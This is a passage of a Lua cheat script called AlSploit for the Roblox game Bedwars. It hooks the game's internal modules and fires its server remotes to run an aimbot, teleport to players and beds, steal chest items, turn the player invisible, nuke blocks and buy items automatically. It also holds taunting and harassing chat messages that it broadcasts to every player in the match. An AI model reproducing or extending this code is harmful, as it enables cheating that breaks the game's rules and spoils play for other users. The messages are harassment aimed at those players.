  724. AntiVoid = {Value = true, Transparency = 0.65, KeyBind = "..."},
  725. AutoBank = {Value = true, Range = 30, KeyBind = "..."},
  726. HighJump = {Value = false, KeyBind = "..."},
  727. PlayerTp = {Value = true, KeyBind = "..."},
  728. AutoKit = {Value = true, KeyBind = "..."},
  729. AutoBuy = {Value = true, KeyBind = "..."},
  730. GodMode = {Value = true, KeyBind = "..."},
  731. Sprint = {Value = true, KeyBind = "..."},
  732. NoFall = {Value = true, KeyBind = "..."},
  733. Aimbot = {Value = true, KeyBind = "...", ToolCheck = false},
  734. Speed = {Value = true, Speed = 23, KeyBind = "..."},
  735. Reach = {Value = true, KeyBind = "..."},
  736. Nuker = {Value = true, Range = 30, BreakOres = true, KeyBind = "..."},
  737. BedTp = {Value = true, KeyBind = "..."},
  738. Sigma = {Value = true, KeyBind = "..."},
  739. Cape = {Value = true, KeyBind = "..."},
  740. Fly = {Value = false, KeyBind = "..."},
  741. Esp = {Value = true, KeyBind = "..."},
  742. Fov = {Value = false, Fov = 100, KeyBind = "..."}
  743. }
  744.  
  745. if not (writefile or makefolder or readfile or isfile) then
  746. CreateNotification(5, "Your executor does not support saving.")
  747.  
  748. Loaded = true
  749. end
  750.  
  751. if writefile and makefolder and readfile and isfile then
  752. makefolder("AlSploitBedwarsConfigSaving")
  753.  
  754. local JSONEncodeSettings = HttpService:JSONEncode(Settings)
  755.  
  756. writefile("AlSploitBedwarsConfigSaving/" .. SaveFileName, JSONEncodeSettings)
  757. end
  758. end
  759.  
  760. local function CheckFirstTime()
  761. if isfile("AlSploitBedwarsConfigSaving/" .. SaveFileName) then
  762. return false
  763. end
  764.  
  765. if not isfile("AlSploitBedwarsConfigSaving/" .. SaveFileName) then
  766. return true
  767. end
  768. end
  769.  
  770. function SaveSettings()
  771. local JSONEncodeSettings = HttpService:JSONEncode(Settings)
  772.  
  773. writefile("AlSploitBedwarsConfigSaving/" .. SaveFileName, JSONEncodeSettings)
  774. end
  775.  
  776. function LoadSettings()
  777. if isfile("AlSploitBedwarsConfigSaving/" .. SaveFileName) then
  778. Settings = HttpService:JSONDecode(readfile("AlSploitBedwarsConfigSaving/" .. SaveFileName))
  779.  
  780. Loaded = true
  781. end
  782. end
  783.  
  784. task.spawn(function()
  785. local FirstTime = CheckFirstTime()
  786.  
  787. if FirstTime == true then
  788. CreateSettingsFile()
  789. end
  790. end)
  791.  
  792. task.spawn(function()
  793. if isfile then
  794. LoadSettings()
  795. end
  796. end)
  797.  
  798. task.spawn(function()
  799. repeat
  800. task.wait(1)
  801.  
  802. if writefile then
  803. SaveSettings()
  804. end
  805. until not game
  806. end)
  807.  
  808. repeat task.wait() until Loaded == true
  809.  
  810. local KnitGotten, KnitClient = false, nil
  811.  
  812. task.spawn(function()
  813. KnitClient = debug.getupvalue(require(LocalPlayer.PlayerScripts.TS.knit).setup, 6)
  814. end)
  815.  
  816. task.spawn(function()
  817. if KnitClient then
  818. KnitGotten = true
  819. end
  820. end)
  821.  
  822. task.spawn(function()
  823. if not KnitGotten then
  824. CreateNotification(10, "Your executor might not support some features.")
  825. end
  826. end)
  827.  
  828. local Client = require(ReplicatedStorage.TS.remotes).default.Client
  829.  
  830. local Camera = WorkSpace.CurrentCamera
  831. local OrigC0 = ReplicatedStorage.Assets.Viewmodel.RightHand.RightWrist.C0
  832.  
  833. local BlossomWindTunnelCreateBodyForceRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("BlossomWindTunnelCreateBodyForce")
  834. local WandBubbleProtectionRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("WandBubbleProtection")local HannahPromptTriggerRemote = Client:Get("HannahPromptTrigger")
  835. local TrinitySetAngelTypeRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("SetAngelType")
  836. local SetObservedChestRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("Inventory/SetObservedChest")
  837. local WandHealPlayerRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("WandHealPlayer")
  838. local ResetCharacterRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("ResetCharacter")
  839. local ChestGiveItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("Inventory/ChestGiveItem")
  840. local ChestGetItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("Inventory/ChestGetItem")
  841. local PurchaseItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("BedwarsPurchaseItem")
  842. local BlockPlacingRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@easy-games"):WaitForChild("block-engine"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("PlaceBlock")
  843. local ClientHandlerStore = require(LocalPlayer.PlayerScripts.TS.ui.store).ClientStore
  844. local SendMessageRemote = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest")
  845. local DamageBlockRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@easy-games"):WaitForChild("block-engine"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("DamageBlock")
  846. local ProjectileRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("ProjectileFire")
  847. local ElkSummonRemote = ReplicatedStorage:WaitForChild("events-@easy-games/game-core:shared/[email protected]"):WaitForChild("useAbility")
  848. local PlayAgainRemote = ReplicatedStorage:WaitForChild("events-@easy-games/lobby:shared/event/[email protected]")
  849. local EquipItemRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("SetInvItem")
  850. local GroundHitRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("GroundHit")
  851. local DamageIndicator
  852.  
  853. task.spawn(function()
  854. if KnitGotten then
  855. DamageIndicator = KnitClient.Controllers.DamageIndicatorController.spawnDamageIndicator
  856. end
  857. end)
  858.  
  859. local ProjectileMeta = require(ReplicatedStorage.TS.projectile["projectile-meta"]).ProjectileMeta
  860. local SwordHitRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("SwordHit")
  861. local CombatConstant = require(ReplicatedStorage.TS.combat["combat-constant"]).CombatConstant
  862. local PlacementCPS = require(game.ReplicatedStorage.TS["shared-constants"]).CpsConstants
  863. local ReportRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("ReportPlayer")
  864. local MinerRemote = ReplicatedStorage:WaitForChild("rbxts_include"):WaitForChild("node_modules"):WaitForChild("@rbxts"):WaitForChild("net"):WaitForChild("out"):WaitForChild("_NetManaged"):WaitForChild("DestroyPetrifiedPlayer")
  865.  
  866. local KnockBackTable = debug.getupvalue(require(ReplicatedStorage.TS.damage["knockback-util"]).KnockbackUtil.calculateKnockbackVelocity, 1)
  867. local ItemTable = debug.getupvalue(require(ReplicatedStorage.TS.item["item-meta"]).getItemMeta, 1)
  868.  
  869. local BlockPlacementController
  870. local ZephyrController
  871. local SprintController
  872. local SwordController
  873. local FovController
  874.  
  875. task.spawn(function()
  876. if KnitGotten then
  877. BlockPlacementController = KnitClient.Controllers.BlockPlacementController
  878. ZephyrController = KnitClient.Controllers.WindWalkerController
  879. SprintController = KnitClient.Controllers.SprintController
  880. SwordController = KnitClient.Controllers.SwordController
  881. FovController = KnitClient.Controllers.FovController
  882. end
  883. end)
  884.  
  885. local InventoryUtil = require(ReplicatedStorage.TS.inventory["inventory-util"]).InventoryUtil
  886. local ItemTable = debug.getupvalue(require(ReplicatedStorage.TS.item["item-meta"]).getItemMeta, 1)
  887.  
  888. local KillAuraAnimationCooldown = true
  889. local AnticheatDisabled = false
  890. local InfiniteFlyValue = false
  891. local FlyBodyVelocity = nil
  892. local SpoofedCamera = nil
  893. local AntiVoidPart = nil
  894. local LoopWaitTime = 0
  895. local DamageBoost = false
  896. local StartLevel = nil
  897. local ZephyrOrb = 0
  898. local FlyValue = false
  899. local FlyDown = false
  900. local FlyUp = false
  901.  
  902. local Fps = 0
  903.  
  904. local Animations = {
  905. KillAura = {
  906. {CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(220), math.rad(100), math.rad(100)),Time = 0.25},
  907. {CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), Time = 0.25}
  908. },
  909.  
  910. Sigma = {
  911. {CFrame = CFrame.new(0.2, 0, -1.3) * CFrame.Angles(math.rad(111), math.rad(111), math.rad(130)), Time = 0.16},
  912. {CFrame = CFrame.new(0, -0.2, -1.7) * CFrame.Angles(math.rad(30), math.rad(111), math.rad(190)), Time = 0.16},
  913. },
  914.  
  915. Neutral = {
  916. {CFrame = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), Time = 0.15},
  917. }
  918. }
  919.  
  920. local function CollectEnderChestItems()
  921. local EnderChest = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name .. "_personal")
  922.  
  923. for i, v in next, EnderChest:GetChildren() do
  924. if v:IsA("Accessory") and (v.Name == "emerald" or v.Name == "iron" or v.Name == "diamond" or v.Name == "gold") then
  925. ChestGetItemRemote:InvokeServer(EnderChest, v)
  926. end
  927. end
  928. end
  929.  
  930. local function SecureEnderChestItems()
  931. local EnderChest = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name .. "_personal")
  932. local Inventory = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name)
  933.  
  934. if Inventory then
  935. for i, v in next, Inventory:GetChildren() do
  936. if v:IsA("Accessory") and (v.Name == "emerald" or v.Name == "iron" or v.Name == "diamond" or v.Name == "gold") then
  937. ChestGiveItemRemote:InvokeServer(EnderChest, v)
  938. end
  939. end
  940. end
  941. end
  942.  
  943. local function TweenToNearestPlayer()
  944. if IsAlive(LocalPlayer) then
  945. local NearestPlayer = FindNearestPlayer()
  946.  
  947. if NearestPlayer then
  948. local TweenInformation = TweenInfo.new(0.65, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  949. local PlayerTpTween = TweenService:Create(LocalPlayer.Character.PrimaryPart, TweenInformation, {CFrame = NearestPlayer.Character.PrimaryPart.CFrame + Vector3.new(0, 2, 0)})
  950.  
  951. PlayerTpTween:Play()
  952. end
  953. end
  954. end
  955.  
  956. local function FindPetrifiedPlayer()
  957. for i, v in next, WorkSpace:GetChildren() do
  958. if v:GetAttribute("PetrifyId") then
  959. return v
  960. end
  961. end
  962. end
  963.  
  964. local function CreateSpoofedCamera()
  965. SpoofedCamera = Instance.new("Part", WorkSpace)
  966. SpoofedCamera.Anchored = true
  967. SpoofedCamera.Transparency = 1
  968. SpoofedCamera.Position = LocalPlayer.Character.Head.Position
  969.  
  970. return SpoofedCamera
  971. end
  972.  
  973. function FindNearestPlayer(MaxDistance)
  974. local NearestPlayerDistance = MaxDistance or math.huge
  975. local NearestPlayer
  976.  
  977. for i, v in next, PlayerService:GetPlayers() do
  978. if IsAlive(v) and v ~= LocalPlayer and IsAlive(LocalPlayer) and v.Team ~= LocalPlayer.Team then
  979. local Distance = (v.Character.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  980.  
  981. if Distance < NearestPlayerDistance then
  982. NearestPlayerDistance = Distance
  983. NearestPlayer = v
  984. end
  985. end
  986. end
  987.  
  988. return NearestPlayer, NearestPlayerDistance
  989. end
  990.  
  991. local function FindNearestEntity(MaxDistance)
  992. local MaxDistance = MaxDistance or math.huge
  993.  
  994. local NearestEntityDistance = MaxDistance
  995. local NearestEntity = nil
  996. local IsNotAPlayer = true
  997.  
  998. task.spawn(function()
  999. for i, v in next, CollectionService:GetTagged("DiamondGuardian") do
  1000. if v.PrimaryPart then
  1001. local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1002.  
  1003. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  1004. NearestEntityDistance = Distance
  1005. NearestEntity = v
  1006. end
  1007. end
  1008. end
  1009. end)
  1010.  
  1011. task.spawn(function()
  1012. for i, v in next, CollectionService:GetTagged("GolemBoss") do
  1013. if v.PrimaryPart then
  1014. local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1015.  
  1016. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  1017. NearestEntityDistance = Distance
  1018. NearestEntity = v
  1019. end
  1020. end
  1021. end
  1022. end)
  1023.  
  1024. task.spawn(function()
  1025. for i, v in next, CollectionService:GetTagged("Monster") do
  1026. if v.PrimaryPart then
  1027. local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1028.  
  1029. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  1030. NearestEntityDistance = Distance
  1031. NearestEntity = v
  1032. end
  1033. end
  1034. end
  1035. end)
  1036.  
  1037. task.spawn(function()
  1038. for i, v in next, PlayerService:GetPlayers() do
  1039. if IsAlive(v) and v ~= LocalPlayer and v.Team ~= LocalPlayer.Team then
  1040. local Distance = (v.Character.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1041.  
  1042. if Distance < NearestEntityDistance and Distance <= MaxDistance then
  1043. NearestEntityDistance = Distance
  1044. NearestEntity= v
  1045. IsNotAPlayer = false
  1046. end
  1047. end
  1048. end
  1049. end)
  1050.  
  1051. if NearestEntity then
  1052. return (IsNotAPlayer and NearestEntity or NearestEntity.Character), NearestEntityDistance
  1053. end
  1054.  
  1055. return nil
  1056. end
  1057.  
  1058. local function TweenToNearestBed()
  1059. if IsAlive(LocalPlayer) then
  1060. local NearestBed = FindNearestBed()
  1061.  
  1062. if NearestBed then
  1063. local TweenInformation = TweenInfo.new(0.65, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  1064. local BedTpTween = TweenService:Create(LocalPlayer.Character.PrimaryPart, TweenInformation, {CFrame = NearestBed.CFrame + Vector3.new(0, 10, 0)})
  1065.  
  1066. BedTpTween:Play()
  1067. end
  1068. end
  1069. end
  1070.  
  1071. local function GetServerPosition(Position)
  1072. local X = math.round(Position.X / 3)
  1073. local Y = math.round(Position.Y / 3)
  1074. local Z = math.round(Position.Z / 3)
  1075.  
  1076. return Vector3.new(X, Y, Z)
  1077. end
  1078.  
  1079. local function FindNearestChest(MaxDistance)
  1080. local NearestChest = nil
  1081. local MaxDistance = MaxDistance or math.huge
  1082.  
  1083. for i, v in next, CollectionService:GetTagged("chest") do
  1084. if v:FindFirstChild("ChestFolderValue") then
  1085. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1086.  
  1087. if Distance < MaxDistance then
  1088. NearestChest = v
  1089. MaxDistance = Distance
  1090. end
  1091. end
  1092. end
  1093.  
  1094. return NearestChest:FindFirstChild("ChestFolderValue")
  1095. end
  1096.  
  1097. function ShootProjectile(Item, Projectile)
  1098. local NearestEntity = FindNearestEntity(math.huge)
  1099.  
  1100. if NearestEntity and not NearestEntity:FindFirstChildOfClass("ForceField") then
  1101. local Args = {
  1102. [1] = Item,
  1103. [2] = Projectile,
  1104. [3] = Projectile,
  1105. [4] = NearestEntity.PrimaryPart.Position,
  1106. [5] = NearestEntity.PrimaryPart.Position,
  1107. [6] = Vector3.new(0, -25, 0),
  1108. [7] = HttpService:GenerateGUID(true),
  1109. [8] = {["drawDurationSeconds"] = 0.96, ["shotId"] = HttpService:GenerateGUID(false)},
  1110. [9] = (WorkSpace:GetServerTimeNow() - 0.11)
  1111. }
  1112.  
  1113. ProjectileRemote:InvokeServer(unpack(Args))
  1114. end
  1115. end
  1116.  
  1117. local function SendChatMessage(Message)
  1118. local Arguments = {
  1119. [1] = Message,
  1120. [2] = "All"
  1121. }
  1122.  
  1123. SendMessageRemote:FireServer(unpack(Arguments))
  1124. end
  1125.  
  1126. function FindNearestBed(MaxDistance)
  1127. local MaxDistance = MaxDistance or math.huge
  1128. local NearestBed = nil
  1129.  
  1130. for i, v in next, WorkSpace:GetDescendants() do
  1131. if v.Name:lower() == "bed" and v:FindFirstChild("Covers") and v:FindFirstChild("Covers").BrickColor ~= LocalPlayer.Team.TeamColor then
  1132. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1133.  
  1134. if Distance < MaxDistance then
  1135. MaxDistance = Distance
  1136. NearestBed = v
  1137. end
  1138. end
  1139. end
  1140.  
  1141. return NearestBed
  1142. end
  1143.  
  1144. local function FindNearestNpc(MaxDistance)
  1145. local MaxDistance = MaxDistance or math.huge
  1146. local NearestNpc = nil
  1147.  
  1148. for i, v in next, CollectionService:GetTagged("BedwarsItemShop") do
  1149. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1150.  
  1151. if Distance < MaxDistance then
  1152. MaxDistance = Distance
  1153. NearestNpc = v
  1154. end
  1155. end
  1156.  
  1157. return NearestNpc
  1158. end
  1159.  
  1160. function FindNearestOre(MaxDistance)
  1161. local MinDistance = MaxDistance or math.huge
  1162. local NearestOre = nil
  1163.  
  1164. for i, v in next, CollectionService:GetTagged("block") do
  1165. if v.Name == "iron_ore" then
  1166. local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
  1167.  
  1168. if Distance < MinDistance then
  1169. MinDistance = Distance
  1170. NearestOre = v
  1171. end
  1172. end
  1173. end
  1174.  
  1175. return NearestOre
  1176. end
  1177.  
  1178. function TouchingGround()
  1179. if IsAlive(LocalPlayer) then
  1180. local Parameters = RaycastParams.new()
  1181. Parameters.FilterType = Enum.RaycastFilterType.Include
  1182. Parameters.FilterDescendantsInstances = {CollectionService:GetTagged("block")}
  1183.  
  1184. local IsTouchingFloor = false
  1185.  
  1186. for x = 1, 1 do
  1187. local Origin = LocalPlayer.Character.PrimaryPart.Position + Vector3.new(x, 0, 0)
  1188.  
  1189. local Raycast = WorkSpace:Raycast(Origin, Vector3.new(0, -2.5, 0), Parameters)
  1190. if Raycast and Raycast.Instance then
  1191. IsTouchingFloor = true
  1192. end
  1193. end
  1194.  
  1195. return IsTouchingFloor
  1196. end
  1197. end
  1198.  
  1199. local function PlayAnimation(Animation)
  1200. for i, v in next, Animation do
  1201. local TweenInformation = TweenInfo.new(v.Time)
  1202. local AnimationTween = TweenService:Create(Camera.Viewmodel.RightHand.RightWrist, TweenInformation, {C0 = OrigC0 * v.CFrame})
  1203.  
  1204. AnimationTween:Play()
  1205.  
  1206. task.wait(v.Time - 0.01)
  1207. end
  1208. end
  1209.  
  1210. local function SetCollisions(Value)
  1211. if Value == true then
  1212. if IsAlive(LocalPlayer) then
  1213. for i, v in next, (LocalPlayer.Character:GetDescendants()) do
  1214. if v:IsA("BasePart") then
  1215. v.CanCollide = true
  1216. v.CanTouch = true
  1217. end
  1218. end
  1219. end
  1220. end
  1221.  
  1222. if Value == false then
  1223. for i, v in next, (LocalPlayer.Character:GetDescendants()) do
  1224. if v:IsA("BasePart") and v ~= LocalPlayer.Character.PrimaryPart and v.CanCollide then
  1225. v.CanCollide = false
  1226. v.CanTouch = false
  1227. end
  1228. end
  1229. end
  1230. end
  1231.  
  1232. local function GetMatchState()
  1233. return ClientHandlerStore:getState().Game.matchState
  1234. end
  1235.  
  1236. local function HashFunction(Value)
  1237. return {value = Value}
  1238. end
  1239.  
  1240. local function DecimalRound(Number, DigitsPast0)
  1241. DigitsPast0 = math.pow(10, DigitsPast0 or 0)
  1242.  
  1243. Number = Number * DigitsPast0
  1244.  
  1245. if Number >= 0 then
  1246. Number = math.floor(Number + 0.5)
  1247. end
  1248.  
  1249. if Number < 0 then
  1250. Number = math.ceil(Number - 0.5)
  1251. end
  1252.  
  1253. return Number / DigitsPast0
  1254. end
  1255.  
  1256. local function GetQueueType()
  1257. local State = ClientHandlerStore:getState()
  1258.  
  1259. return State.Game.queueType or "bedwars_test"
  1260. end
  1261.  
  1262. function KillHumanoid(Time)
  1263. local Time = Time or 0
  1264.  
  1265. if LocalPlayer:FindFirstChild("leaderstats") and LocalPlayer.leaderstats:FindFirstChild("Bed") then
  1266. if LocalPlayer.leaderstats.Bed.Value == "✅" then
  1267. LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Dead)
  1268.  
  1269. ResetCharacterRemote:FireServer()
  1270. end
  1271. end
  1272. end
  1273.  
  1274. local function GetInventory(Player)
  1275. local Player = Player or LocalPlayer
  1276.  
  1277. local Inventory = InventoryUtil.getInventory(Player)
  1278.  
  1279. return Inventory
  1280. end
  1281.  
  1282. local function PurchaseItem(Arguments)
  1283. PurchaseItemRemote:InvokeServer(unpack(Arguments))
  1284. end
  1285.  
  1286. local function Invisibility()
  1287. repeat task.wait() until GetMatchState() ~= 0 and IsAlive(LocalPlayer)
  1288.  
  1289. task.wait(0.3)
  1290.  
  1291. local Animation = Instance.new("Animation")
  1292. local Id = 11335949902
  1293.  
  1294. Animation.AnimationId = "rbxassetid://".. Id
  1295.  
  1296. local PlayerAnimation = LocalPlayer.Character.Humanoid.Animator:LoadAnimation(Animation)
  1297.  
  1298. if PlayerAnimation then
  1299. LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 3 / -2, 0)
  1300. LocalPlayer.Character.PrimaryPart.Size = Vector3.new(2, 3, 1.1)
  1301.  
  1302. PlayerAnimation.Priority = Enum.AnimationPriority.Action4
  1303. PlayerAnimation.Looped = false
  1304.  
  1305. LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 3 / -2, 0)
  1306. LocalPlayer.Character.PrimaryPart.Transparency = 0.6
  1307. LocalPlayer.Character.PrimaryPart.Size = Vector3.new(2, 3, 1.1)
  1308.  
  1309. SetCollisions(false)
  1310.  
  1311. task.spawn(function()
  1312. repeat
  1313. task.wait()
  1314.  
  1315. PlayerAnimation:Play(1 / 999999, 999999, 1 / 999999)
  1316. until Settings.Invisible.Value == false or not IsAlive(LocalPlayer)
  1317.  
  1318. if PlayerAnimation then
  1319. PlayerAnimation:Destroy()
  1320. end
  1321.  
  1322. if Animation then
  1323. Animation:Destroy()
  1324. end
  1325.  
  1326. if IsAlive(LocalPlayer) then
  1327. SetCollisions(true)
  1328.  
  1329. LocalPlayer.Character.PrimaryPart.Size = Vector3.new(1.9, 2, 1)
  1330. LocalPlayer.Character.PrimaryPart.Transparency = 1
  1331. LocalPlayer.Character.Humanoid.CameraOffset = Vector3.new(0, 0, 0)
  1332. end
  1333. end)
  1334. end
  1335. end
  1336.  
  1337. local function SwitchItem(Item)
  1338. if LocalPlayer.Character.HandInvItem.Value ~= Item then
  1339. local InventoryItem = ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild(Item)
  1340.  
  1341. EquipItemRemote:InvokeServer({hand = InventoryItem})
  1342. end
  1343. end
  1344.  
  1345. local function PlaceBlock(Position, Block)
  1346. BlockPlacingRemote:InvokeServer({["blockType"] = Block, ["blockData"] = 0,["position"] = Position})
  1347. end
  1348.  
  1349. local function StealChest(NearestChest)
  1350. NearestChest = NearestChest and NearestChest.Value or nil
  1351.  
  1352. local Chestitems = NearestChest and NearestChest:GetChildren()
  1353.  
  1354. if #Chestitems > 1 then
  1355. SetObservedChestRemote:FireServer("BlockChest")
  1356.  
  1357. for i2, v2 in next, Chestitems do
  1358. if v2:IsA("Accessory") then
  1359. task.spawn(function()
  1360. ChestGetItemRemote:InvokeServer(NearestChest, v2)
  1361. end)
  1362. end
  1363. end
  1364.  
  1365. task.wait(0.001)
  1366.  
  1367. SetObservedChestRemote:FireServer(nil)
  1368. end
  1369. end
  1370.  
  1371. local function CreateCape(DecalId)
  1372. local Cape = Instance.new("Part")
  1373.  
  1374. Cape.Parent = LocalPlayer.Character
  1375. Cape.Name = "Cape"
  1376. Cape.Size = Vector3.new(0.2, 0.2, 0.08)
  1377. Cape.Material = Enum.Material.SmoothPlastic
  1378. Cape.Color = Color3.new(0.105882, 0.105882, 0.105882)
  1379. Cape.CanCollide = false
  1380.  
  1381. local BlockMesh = Instance.new("BlockMesh")
  1382.  
  1383. BlockMesh.Parent = Cape
  1384. BlockMesh.Name = "Mesh"
  1385. BlockMesh.Scale = Vector3.new(9, 17.5, 0.5)
  1386. BlockMesh.VertexColor = Vector3.new(1, 1, 1)
  1387.  
  1388. local Motor = Instance.new("Motor")
  1389.  
  1390. Motor.Parent = Cape
  1391. Motor.Name = "Motor"
  1392. Motor.C0 = CFrame.new(0, 2, 0, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
  1393. Motor.C1 = CFrame.new(0, 1, 0.449999988, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
  1394. Motor.Part1 = LocalPlayer.Character.UpperTorso
  1395. Motor.Part0 = Cape
  1396. Motor.CurrentAngle = -0.16208772361278534
  1397. Motor.DesiredAngle = -0.1002269834280014
  1398.  
  1399. local Decal = Instance.new("Decal")
  1400.  
  1401. Decal.Parent = Cape
  1402. Decal.Name = "Decal"
  1403. Decal.Face = Enum.NormalId.Back
  1404. Decal.Texture = DecalId
  1405. end
  1406.  
  1407. function SetCamera(Camera)
  1408. WorkSpace.CurrentCamera.CameraSubject = Camera
  1409. end
  1410.  
  1411. local function AutoToxic(Player)
  1412. local Randomized = math.random(0, 5)
  1413. local KillMessage = ""
  1414.  
  1415. if Randomized == 0 then
  1416. KillMessage = "You are so bad u died. L" .. Player.Name .. " | AlSploit on top"
  1417. end
  1418.  
  1419. if Randomized ~= 0 then
  1420. KillMessage = "I could probably win without cheats. L" .. Player.Name .. " | AlSploit on top"
  1421. end
  1422.  
  1423. if Randomized == 2 then
  1424. KillMessage = "Clowns are the only ones we kill. L" .. Player.Name .. " | AlSploit on top"
  1425. end
  1426.  
  1427. if Randomized == 3 then
  1428. KillMessage = "Rats. Imagine dying in a block game. L" .. Player.Name .. " | AlSploit on top"
  1429. end
  1430.  
  1431. if Randomized == 4 then
  1432. KillMessage = "I hack for fun. Too bad your fun is ruined. L" .. Player.Name .. " | AlSploit on top"
  1433. end
  1434.  
  1435. if Randomized == 5 then
  1436. KillMessage = "I ruined a good day for a good reason. L" .. Player.Name .. " | AlSploit on top"
  1437. end
  1438.  
  1439. SendChatMessage(KillMessage)
  1440. end
  1441.  
  1442. local function GetSword()
  1443. local HighestDamage, Sword = -math.huge, nil
  1444.  
  1445. for i, v in next, GetInventory(LocalPlayer).items do
  1446. local SwordMetaGame = ItemTable[v.itemType].sword
  1447.  
  1448. if SwordMetaGame then
  1449. local SwordDamage = SwordMetaGame.damage / SwordMetaGame.attackSpeed
  1450.  
  1451. if SwordDamage > HighestDamage then
  1452. HighestDamage = SwordDamage
  1453. Sword = v
  1454. end
  1455. end
  1456. end
  1457.  
  1458. return Sword
  1459. end
  1460.  
  1461. function IsMoving()
  1462. local Position = LocalPlayer.Character.PrimaryPart.Position
  1463.  
  1464. task.wait(0.001)
  1465.  
  1466. if IsAlive(LocalPlayer) and LocalPlayer.Character.PrimaryPart.Position ~= Position then
  1467. Position = LocalPlayer.Character.PrimaryPart.Position
  1468.  
  1469. return true
  1470. end
  1471.  
  1472. if IsAlive(LocalPlayer) and LocalPlayer.Character.PrimaryPart.Position == Position then
  1473. Position = LocalPlayer.Character.PrimaryPart.Position
  1474.  
  1475. return false
  1476. end
  1477. end
  1478.  
  1479. local function ChatSpam()
  1480. local Randomized = math.random(0, 5)
  1481. local KillMessage = ""
  1482.  
  1483. if Randomized == 0 then
  1484. KillMessage = "AlSploit does more updates than Bedwars 💀. | AlSploit On Top"
  1485. end
  1486.  
  1487. if Randomized ~= 0 then
  1488. KillMessage = "SkidB4 is as bad as how you felt when your dad left you. | AlSploit On Top"
  1489. end
  1490.  
  1491. if Randomized == 2 then
  1492. KillMessage = "Switch to AlSploit, ez wins. | AlSploit On Top"
  1493. end
  1494.  
  1495. if Randomized == 3 then
